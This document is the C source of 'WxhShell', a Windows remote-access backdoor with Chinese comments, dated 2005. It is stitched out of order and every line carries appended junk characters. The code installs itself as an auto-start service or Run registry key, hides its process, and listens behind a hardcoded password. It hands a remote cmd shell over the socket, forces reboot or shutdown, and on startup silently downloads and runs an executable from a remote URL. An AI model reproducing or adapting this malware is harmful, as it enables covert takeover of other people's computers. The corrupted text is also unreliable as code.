  // 关机 S,lJ&Rsu  
  case 'd': { 3otia ;&B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #DwTm~V0"  
    if(Boot(SHUTDOWN)) 9cWl/7;zXO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W cPDPu~/  
    else { ,JN2q]QPP  
    closesocket(wsh); fg%I?ou  
    ExitThread(0); "Q A#  
    } lOPCM1Se  
    break; @ I LG3"  
    } WHqp7NPl  
  // 获取shell s,"<+80%  
  case 's': { Bra>C  
    CmdShell(wsh);  <G{m=  
    closesocket(wsh); yd`xmc)  
    ExitThread(0); v6HBO#F'V{  
    break;  1SP )`Q  
  } +e`f|OQ  
  // 退出 4VSlgoz  
  case 'x': { ?zQ\u{]=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c\-5vw||b  
    CloseIt(wsh); >,y291p2  
    break; W@`Nn*S  
    } 3)T'&HKQ  
  // 离开 *O#%hTYq  
  case 'q': { a:Y6yg%1>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \kvd;T#t6  
    closesocket(wsh); rm;'/l8Y-E  
    WSACleanup(); nY'0*:'u  
    exit(1); xpx=t71Hq  
    break; Tw)nFr8oF]  
        } `Ff3H$_*  
  } KIC5U50J  
  } d `>M-:dF  
75r>~@)*  
  // 提示信息  VljAAt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ha@'%<gFe  
} sk\U[#ohH  
  } wxkCmrV  
 nk>  
  return; 3DV';  
} .|JJyjRA+  
v98=#k!F  
// shell模块句柄  Mhm3u  
int CmdShell(SOCKET sock) }\:3}'S.$  
{ xKWqDt  
STARTUPINFO si; 2xhwi.u  
ZeroMemory(&si,sizeof(si)); Sf B+;i'D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yew n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cNtGjLpx;  
PROCESS_INFORMATION ProcessInfo; [pUw(KV2m  
char cmdline[]="cmd"; 9 #TzW9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sNc(aGvy  
  return 0; 9AD`,]b  
} C~ t?<  
am{f<v,EI  
// 自身启动模式 oN)l/"%C7/  
int StartFromService(void) =SB#rCH  
{ {^i73}@O  
typedef struct S 3Tp__  
{ 9JBPE  
  DWORD ExitStatus; .9 mwRYgD  
  DWORD PebBaseAddress; C<?}?hhb  
  DWORD AffinityMask; WW{5[;LYiB  
  DWORD BasePriority; :.'<ndM  
  ULONG UniqueProcessId; &M,a+|yuY  
  ULONG InheritedFromUniqueProcessId; cTCo~Pk4  
}   PROCESS_BASIC_INFORMATION; 1"?KQU  
x9Fga_  
PROCNTQSIP NtQueryInformationProcess; g34<0%6jd  
K]Q#B|_T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PEac0rSW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nT..+ J)  
9W:oo:dK F  
  HANDLE             hProcess; _T&?H&#  
  PROCESS_BASIC_INFORMATION pbi; J0*hJ-/u  
iZ<^p1i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "CLoM\M)  
  if(NULL == hInst ) return 0; ym9Z:2g  
Ve*NM|jg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E0!}~Z)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vH%AXz IA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <vJPKQ`=:  
OSQZ5:g|  
  if (!NtQueryInformationProcess) return 0; S<rdPS*P  
au@ LQxKQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,;)Y 1q}Q  
  if(!hProcess) return 0; }l~|c{WH`  
L^i=RGx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GR@!mf  
+~?ze,Di  
  CloseHandle(hProcess); N+ZDQa[  
)uC],CbW{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #qrZ(,I@n  
if(hProcess==NULL) return 0; 6!dbJ5x1  
k!3X4;F!_  
HMODULE hMod; |t+M/C0y/  
char procName[255]; g6{.C7m  
unsigned long cbNeeded; . <`i!Ls  
ZQXv-"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u?5 d%]*  
R''nZ/R  
  CloseHandle(hProcess); S-}MS"  
fOJ 0#^Z  
if(strstr(procName,"services")) return 1; // 以服务启动 T]Z|Wq`bot  
s:3 altv  
  return 0; // 注册表启动 #"-?+F=rk  
} 5Ds/^fA  
I=o[\?u*_  
// 主模块 to,DN2rN  
int StartWxhshell(LPSTR lpCmdLine) ("Z;)s4q  
{ s0uI;WMg  
  SOCKET wsl; SF$7WG3Q  
BOOL val=TRUE; >$S P2(Y~  
  int port=0; <_$]!Z6UR  
  struct sockaddr_in door; [ -"o5!0<  
gNF8&T  
  if(wscfg.ws_autoins) Install(); &IsQgS7R  
=M'M/vKD  
port=atoi(lpCmdLine); PLU8:H@X  
+^ a9i5  
if(port<=0) port=wscfg.ws_port; bP\0S@1YL  
A'r 3%mC  
  WSADATA data; E9z^#@s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qzS 9ls>>  
CF"$&+s9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rCfr&>nn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <6QG7 i  
  door.sin_family = AF_INET; uMVM-(g%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %|E'cdvkX  
  door.sin_port = htons(port); nfpkWyIu{  
`q|&;wP.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mAMi-9  
closesocket(wsl); VeiJ1=hc  
return 1; JLUG=x(dA  
} Py7!_TX  
t\~lGG-p  
  if(listen(wsl,2) == INVALID_SOCKET) { ddvSi 6  
closesocket(wsl); y_EkW f  
return 1; uw!  
} JwCv(1$GM  
  Wxhshell(wsl); u$ [R>l9  
  WSACleanup(); +13h *  
bj23S&  
return 0; \Zc$X^}vN  
Q|QVm,m  
} ?#; oqH<  
^2f'I iE  
// 以NT服务方式启动 8|^dM$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ww5c9orXn  
{ 6BM[RL?T  
DWORD   status = 0; 9ZvBsG)  
  DWORD   specificError = 0xfffffff; 0^'A^  
MV +R$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dy6uWv,P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?CO\jW_ *n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $jT&]p  
  serviceStatus.dwWin32ExitCode     = 0; 2WQKj9iyN  
  serviceStatus.dwServiceSpecificExitCode = 0; :$k':0 n  
  serviceStatus.dwCheckPoint       = 0; .N2yn`  
  serviceStatus.dwWaitHint       = 0; HR)Dz~Obw  
5\93-e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s2f9 5<B  
  if (hServiceStatusHandle==0) return; J)1:jieQ  
~^d. zIN!  
status = GetLastError(); r /v'h@  
  if (status!=NO_ERROR) <;O=h; ~|  
{ ]=\Mf<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m|q?gX9R  
    serviceStatus.dwCheckPoint       = 0; +./c=o/v  
    serviceStatus.dwWaitHint       = 0; XMhDx  
    serviceStatus.dwWin32ExitCode     = status; dFY]~_P472  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3TUW+#[Gu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] jbQou@  
    return; GMmz`O XN  
  } 9$,x^Qx  
$r`K4g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h(}$-'g  
  serviceStatus.dwCheckPoint       = 0; dWHl<BUm  
  serviceStatus.dwWaitHint       = 0; v|5:;,I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); is=sV:j:  
} +mRFHZG  
FR~YO|4?  
// 处理NT服务事件,比如:启动、停止 ?^Sk17G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WrK!]17or  
{ rZRcy9$y>  
switch(fdwControl) NGYliP,.6  
{ 5dffF e  
case SERVICE_CONTROL_STOP: mk>L:+  
  serviceStatus.dwWin32ExitCode = 0; -H1mKZDPP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2p\CCzw  
  serviceStatus.dwCheckPoint   = 0; 6OYXcPW'  
  serviceStatus.dwWaitHint     = 0; {FzL@!||  
  { J ytY6HF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xdWfrm$;ZA  
  } 6BIP;, M=  
  return; _^4\z*x  
case SERVICE_CONTROL_PAUSE: ;\`~M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lB!`,>"c  
  break; *8}Y0V\s  
case SERVICE_CONTROL_CONTINUE: <>aBmJs4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }.Eq_wP<  
  break; B{|g+c%  
case SERVICE_CONTROL_INTERROGATE: (H*-b4]/  
  break; gLv|Hu7  
}; 2m. RM&TdB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HZMs],GX  
} N;,?k.vU  
"bZV<;y6  
// 标准应用程序主函数 d_9Fc" C~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MWf]U  
{ pT]M]/y/:  
+3.Ik,Z}zq  
// 获取操作系统版本 fr'M)ox1  
OsIsNt=GetOsVer(); }*Qd]\fy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ke[doQ#c  
.(o]d{ '-}  
  // 从命令行安装 Li ,B,   
  if(strpbrk(lpCmdLine,"iI")) Install(); E_&Hje|J_[  
".L+gn}u-  
  // 下载执行文件 9fD4xkRS  
if(wscfg.ws_downexe) { )/k0*:OMyO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0z?b5D;  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^}; 4r  
} 0?uX}8w  
k5G(7Ug=g~  
if(!OsIsNt) { .d`+#1Ot(  
// 如果时win9x,隐藏进程并且设置为注册表启动 T=cSTS!P;q  
HideProc(); f uojf+i  
StartWxhshell(lpCmdLine); ja$>>5<q  
} WujIaJt-  
else pM~Xh ]/  
  if(StartFromService()) A2'   
  // 以服务方式启动  t K;E&:  
  StartServiceCtrlDispatcher(DispatchTable); '|^LNAx  
else dJ\6m!Mp  
  // 普通方式启动 A9PXu\%y  
  StartWxhshell(lpCmdLine); q0WW^jwQ  
)gdv!  
return 0; || ?B1  
} 5A1oZ+C#  
/ uI/8>p(  
oR}ir  
y8: 0VZox  
=========================================== Okk[}G)  
|)6(_7e9  
Pg[zRRf<  
QiWv  
':# ?YQ}2  
%sC,;^wla'  
" bGRI^ [8#+  
TRz~rW k  
#include <stdio.h> UCYhaD@sP  
#include <string.h> z.1 6%@R  
#include <windows.h> H%7V)"  
#include <winsock2.h> )hk=wu6  
#include <winsvc.h> b{)('C$  
#include <urlmon.h> TI}H(XL(  
 .Pq8C  
#pragma comment (lib, "Ws2_32.lib") 4zghM<  
#pragma comment (lib, "urlmon.lib") jIE>t5 fy  
k Fv\V   
#define MAX_USER   100 // 最大客户端连接数 7UHqiA`L  
#define BUF_SOCK   200 // sock buffer ?97MW a   
#define KEY_BUFF   255 // 输入 buffer DGY#pnCu  
yb/< 7  
#define REBOOT     0   // 重启 W9 y8dw.  
#define SHUTDOWN   1   // 关机 Orh5d 7+S  
uZZ[`PA(  
#define DEF_PORT   5000 // 监听端口 QxnP+U~N  
Ary$,3X2  
#define REG_LEN     16   // 注册表键长度 nR/; uTTz  
#define SVC_LEN     80   // NT服务名长度 ,r5<v_  
D{o1G?A  
// 从dll定义API yP0P-8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iM2 EEC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fEs957$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `'Ta=kd3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;t%L (J  
|PH]0.m5  
// wxhshell配置信息 !~UI~-i'  
struct WSCFG { OfTcF_%  
  int ws_port;         // 监听端口 fLI@;*hL0  
  char ws_passstr[REG_LEN]; // 口令 ;KQ'/nII  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2BH>TmS  
  char ws_regname[REG_LEN]; // 注册表键名 a2/r$Tgm  
  char ws_svcname[REG_LEN]; // 服务名 <6<uO\B\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w :FH2*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &_4A6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UTA0B&aB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +lJuF/sS8m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 37p0*%a":  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #BS]wj2#  
B0p>'O2  
}; SUD]Wl7G`r  
=)M8>>l  
// default Wxhshell configuration };9dd3X  
struct WSCFG wscfg={DEF_PORT,  %W"\  
    "xuhuanlingzhe", PkDL\Nqe  
    1, gZM{]GQ  
    "Wxhshell", L:Wy- Z  
    "Wxhshell", b("CvD8  
            "WxhShell Service", ^S ,E"Q  
    "Wrsky Windows CmdShell Service", miS+MK"  
    "Please Input Your Password: ", {J})f>x<xM  
  1, %>I!mD"X\  
  "http://www.wrsky.com/wxhshell.exe", !P@u4FCs  
  "Wxhshell.exe" QX%m4K/a  
    }; <eN>X:_N  
u;J=g  
// 消息定义模块 \(T; @r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :#TJ-l:#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _Fl]zs<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pE `Q4:<A  
char *msg_ws_ext="\n\rExit."; 6$PfX.Fh  
char *msg_ws_end="\n\rQuit."; OD\x1,E)I  
char *msg_ws_boot="\n\rReboot..."; *XH?|SV  
char *msg_ws_poff="\n\rShutdown..."; Byldt  
char *msg_ws_down="\n\rSave to "; o*p7/KvoT  
FGwz5@|E  
char *msg_ws_err="\n\rErr!"; aS~k.^N  
char *msg_ws_ok="\n\rOK!"; %J.Rm0FD:  
"vLqYc4$  
char ExeFile[MAX_PATH]; nOQ+oqM<  
int nUser = 0; mf}?z21vD  
HANDLE handles[MAX_USER]; 3tXtt@Yy  
int OsIsNt; O.rk!&N  
v@>hjie  
SERVICE_STATUS       serviceStatus; +Yi=W o/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d,<ctd  
9q* sR1  
// 函数声明 Br#]FB|tD  
int Install(void); S\0"G*  
int Uninstall(void); :\80*[=;Z  
int DownloadFile(char *sURL, SOCKET wsh); #S<>+,Lk  
int Boot(int flag); }GkEv}~t  
void HideProc(void); nWXI*%m5  
int GetOsVer(void); :Hd?0eZ|  
int Wxhshell(SOCKET wsl); ~Ag !wj  
void TalkWithClient(void *cs); Q]6nW[@j'  
int CmdShell(SOCKET sock); ?'T>/<(  
int StartFromService(void); WDzov9ot  
int StartWxhshell(LPSTR lpCmdLine); NmB0CbB  
!Z=`Wk5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fiw~"2U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B|extWwu  
Tr@`ozp8  
// 数据结构和表定义 ybS7uo  
SERVICE_TABLE_ENTRY DispatchTable[] = J|xqfY@+  
{ a*SJHBB  
{wscfg.ws_svcname, NTServiceMain}, {+C>^b  
{NULL, NULL} QJ"B d`wc  
}; &7@6Y{!/  
2Y wV}  
// 自我安装 5j ]}/Aq  
int Install(void) dDpe$N  
{ N# ,4BU  
  char svExeFile[MAX_PATH]; k(^zhET  
  HKEY key; uL-i>!"L!}  
  strcpy(svExeFile,ExeFile); =z=Guvcn`  
WO)K*c1F  
// 如果是win9x系统,修改注册表设为自启动 gVG :z_6  
if(!OsIsNt) { "r"Y9KODm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^kt"n( P5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v11mu2  
  RegCloseKey(key); .f jM9G#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a 3O_8GU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~7~nU>Vv  
  RegCloseKey(key); i6X/`XW'  
  return 0; c&0IJ7fZG  
    } Pi8U}lG;  
  } gpw(j0/Fs  
} x(S 064  
else { tY[y?DJ  
*\joaw  
// 如果是NT以上系统,安装为系统服务 q1?2 U<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x7NxHTL  
if (schSCManager!=0) RIJBHOa  
{ m7RWuI,  
  SC_HANDLE schService = CreateService iz*aBXVA[  
  ( |Cen5s W&  
  schSCManager, H<NYm#a"  
  wscfg.ws_svcname, wV-cpJ,}  
  wscfg.ws_svcdisp, Z&.FJZUP  
  SERVICE_ALL_ACCESS, *E$D,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zb9@U: \  
  SERVICE_AUTO_START, }(hE{((o  
  SERVICE_ERROR_NORMAL, MnX2sX|  
  svExeFile, z4f5@  
  NULL, U3za}3  
  NULL, t: [[5];E  
  NULL, XD|&{/O  
  NULL, DG:=E/@  
  NULL :\bttPw5  
  ); @8CD@SDv  
  if (schService!=0) LZoth+:  
  { x%(!+  
  CloseServiceHandle(schService); ikxSWO_Y=  
  CloseServiceHandle(schSCManager); hG ]jm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _OrE{  
  strcat(svExeFile,wscfg.ws_svcname); Y/$SriC_+'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _8S).*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J@Orrz2q#  
  RegCloseKey(key); H/L3w|2+  
  return 0; Z2$-},i  
    } +pF z&)?  
  } <v2R6cj5  
  CloseServiceHandle(schSCManager); \\/X+4|o'  
} -_314j=`/  
} [ 0~qs|27  
>K &b,o,[  
return 1; '.dW>7  
} t 1&p> v  
ar^`r!ABEh  
// 自我卸载 $K,aLcu  
int Uninstall(void) f a\cLC  
{ lhjPS!A~  
  HKEY key; |QzPY8B9O  
nB:Bw8U"Q  
if(!OsIsNt) { T4f:0r;^f*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mWGT (`|~/  
  RegDeleteValue(key,wscfg.ws_regname); Awr]@%I  
  RegCloseKey(key); #15q`w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zh4o<f:-  
  RegDeleteValue(key,wscfg.ws_regname); R -h7c!ko  
  RegCloseKey(key); Tl1?5  
  return 0; #`W8-w  
  } XG [%oL  
} -#i%4[v  
} R1 wd Q8q  
else { 4({=(O  
,>g 6OU2~6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .6'T;SoK>  
if (schSCManager!=0)  (&gCVf  
{ !l\pwfXP&%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UbYKiLDF)  
  if (schService!=0) ,J~1~fg89  
  { Bo0y"W[+  
  if(DeleteService(schService)!=0) { $`5DGy?RU  
  CloseServiceHandle(schService); xj~6,;83xR  
  CloseServiceHandle(schSCManager); Z6*RIdD>  
  return 0; utTek5/  
  } Q3KBG8  
  CloseServiceHandle(schService); stDn{x .  
  } s=d?}.E$  
  CloseServiceHandle(schSCManager); j=gbUXv/  
} EP8LJzd"  
} xz%ig^L  
~kHir]jc  
return 1; @%TQ/L^|  
} *CG2sAeB  
Hv=coS>g:  
// 从指定url下载文件 \.{JS>!  
int DownloadFile(char *sURL, SOCKET wsh) H}$#aXEAn  
{ T8\,2UWsj2  
  HRESULT hr; %sq=lW5R{b  
char seps[]= "/"; K)v(Z"  
char *token; 'Oc8[8   
char *file; @2u<Bh}}  
char myURL[MAX_PATH]; O]Hg4">f  
char myFILE[MAX_PATH]; eGE%c1H9a  
B8nXWi  
strcpy(myURL,sURL); |z4/4Y@  
  token=strtok(myURL,seps); v_ J.M]  
  while(token!=NULL) f*I5 m=  
  { q+DH2&E'  
    file=token; G]SE A  
  token=strtok(NULL,seps); vIREvj#U  
  } sDF J  
WDX?|q9rCt  
GetCurrentDirectory(MAX_PATH,myFILE); f&`*x t/  
strcat(myFILE, "\\"); b'&pJ1]]}  
strcat(myFILE, file); 7q?Yd AUz  
  send(wsh,myFILE,strlen(myFILE),0); i" )_M|   
send(wsh,"...",3,0); s=$7lYX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5>=tNbk"s  
  if(hr==S_OK) u7;A`  
return 0; EvYw$ j  
else zPmVECS  
return 1; A/QVotcU  
^d"J2n,7L  
} Y}Dp{  
S ~_%  
// 系统电源模块 3UaP7p+d  
int Boot(int flag) BOWTH{KR<<  
{ =.%ZF]Oe+#  
  HANDLE hToken; SUEw5qitB  
  TOKEN_PRIVILEGES tkp; MJb = +L  
? vlGr5#  
  if(OsIsNt) { ~L1O\V i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZChY:I$<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !vB%Q$!x  
    tkp.PrivilegeCount = 1; @v'D9 ?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d{he  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c,qCZ-.Sg  
if(flag==REBOOT) { t2:c@)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pjy?&;GvT  
  return 0; ~ /[Cgh0  
} <7 rK  
else { q!TbM"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g-^m\>B  
  return 0; I Q L~I13  
} -7$'* V9$  
  } F:g{rm[  
  else { zJ:r0Bt  
if(flag==REBOOT) { \,EPsQV0?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u s0'7|{q  
  return 0; V[M#qZS  
} ##_Za6/n  
else { ~ t H s+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PPPwDsJ  
  return 0; aX%Zuyny  
} Qzhnob#C9  
} h6e$$-_  
!S!03|  
return 1; (3h*sd5ly  
} DxgT]F%  
3R*@m  
// win9x进程隐藏模块 Y/66`&,{  
void HideProc(void) ewG21 q$  
{ 1hyah.i]Y  
P` F'Nf2U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C<t>m_t9  
  if ( hKernel != NULL ) )JQQ4D  
  { $0SZlq>En  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kV3j}C"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0|!<|N<  
    FreeLibrary(hKernel); j2 ^T:q[  
  } ls\E%d  
"3|"rc&F#  
return; 4_I{Q^f  
} Sc$wR{W<:  
YiuOu(X  
// 获取操作系统版本 /7@2Qc2  
int GetOsVer(void) FTnQqDuT  
{ XHM"agrhSQ  
  OSVERSIONINFO winfo; QeJ.o.m{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SzlfA%4+GR  
  GetVersionEx(&winfo); %Dls36F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (+8xUc(w  
  return 1; bM0[V5:jB  
  else {dx /p-Tv  
  return 0; _L'cyH.cn  
} Hq\E 06S@  
;3}EB cw)  
// 客户端句柄模块 ([CnYv  
int Wxhshell(SOCKET wsl) AV 5\W}  
{ ,e FQ}&^A  
  SOCKET wsh; lhA s!\F  
  struct sockaddr_in client; if[o?6U4t  
  DWORD myID; >_aio4j}r  
C$td{tM  
  while(nUser<MAX_USER) o+_/)c  
{ L^Q+Q)zTh  
  int nSize=sizeof(client); \_Kt6=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k\c &2T]W  
  if(wsh==INVALID_SOCKET) return 1; IO!1|JMr6  
b({Nf,(a2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T$^>Fiz{Se  
if(handles[nUser]==0) 7vpN 6YP  
  closesocket(wsh); ]6B mCh  
else ( OyY_`  
  nUser++; &[ u6oAR  
  } {eswe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |pH* CCA  
Y%)h)El  
  return 0; YNg\"XjJM<  
} 'lN*Ys iDi  
%O&m#)|  
// 关闭 socket zyZok*s  
void CloseIt(SOCKET wsh) Z;fm;X%4  
{ =(.mf  
closesocket(wsh); y*}vG}e%  
nUser--; Im?= e  
ExitThread(0); ;5D @kS^  
} ii_|)udz  
%jZp9}h  
// 客户端请求句柄 I mPu}  
void TalkWithClient(void *cs) [+%d3+27  
{ {UdcX~\~  
aYaG]&hb  
  SOCKET wsh=(SOCKET)cs; &e-#|p#v  
  char pwd[SVC_LEN]; <V$Y6(uMs  
  char cmd[KEY_BUFF]; d2C[wQF  
char chr[1]; jr, &=C(  
int i,j; j<ABO")v  
abROFI5.L  
  while (nUser < MAX_USER) { pcI&  
ZDOF  
if(wscfg.ws_passstr) { 9h:jFhsA9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NK7H,V}T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H.YIv50E  
  //ZeroMemory(pwd,KEY_BUFF); sf |oNOz  
      i=0; Rwc[:6;fn  
  while(i<SVC_LEN) { ]aC ':55(  
yu`KzIU  
  // 设置超时 aF&r/j+}o  
  fd_set FdRead; {{V ;:+62  
  struct timeval TimeOut; 6R1wn&8  
  FD_ZERO(&FdRead); r6d0x  
  FD_SET(wsh,&FdRead); 3>-[B`dD(  
  TimeOut.tv_sec=8; h8f!<:rTS  
  TimeOut.tv_usec=0; T} n N=Q4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9J~:m$.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R'Kt=.s<  
)-bD2YA{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wGEWr2$  
  pwd=chr[0]; RLdl z  
  if(chr[0]==0xd || chr[0]==0xa) { {0is wq'J  
  pwd=0; DMF?5GX  
  break; *j|/2+pq  
  } 0JmFQ ^g(  
  i++; .:w#&yM [U  
    } @GN(]t&3  
vuYO\u+ud  
  // 如果是非法用户,关闭 socket H@K#|A=a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rHvF%o  
} R=!kbBK>\  
"6?lQw e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QB!jLlg(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T>d\%*Q+B  
5\okU"{d7  
while(1) { Z}|TW~J=  
d; 9*l!CF  
  ZeroMemory(cmd,KEY_BUFF); $z*@2Non  
AT"!{Y "H  
      // 自动支持客户端 telnet标准   ? m&IF<b  
  j=0; ZAMeqPt  
  while(j<KEY_BUFF) { `,+#!)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N? M   
  cmd[j]=chr[0]; m;dm|4L^  
  if(chr[0]==0xa || chr[0]==0xd) { @&;(D!_&  
  cmd[j]=0; X4a^m w\"  
  break;  Do|]eD  
  } YQ; cJ$  
  j++; =/[ltUKs:a  
    } M&r2:Whk  
=-_)$GOI'  
  // 下载文件 R,%_deV\(  
  if(strstr(cmd,"http://")) { uKv&7p@|_)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :Zza)>l  
  if(DownloadFile(cmd,wsh)) %;7.9%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q(78fZ *X  
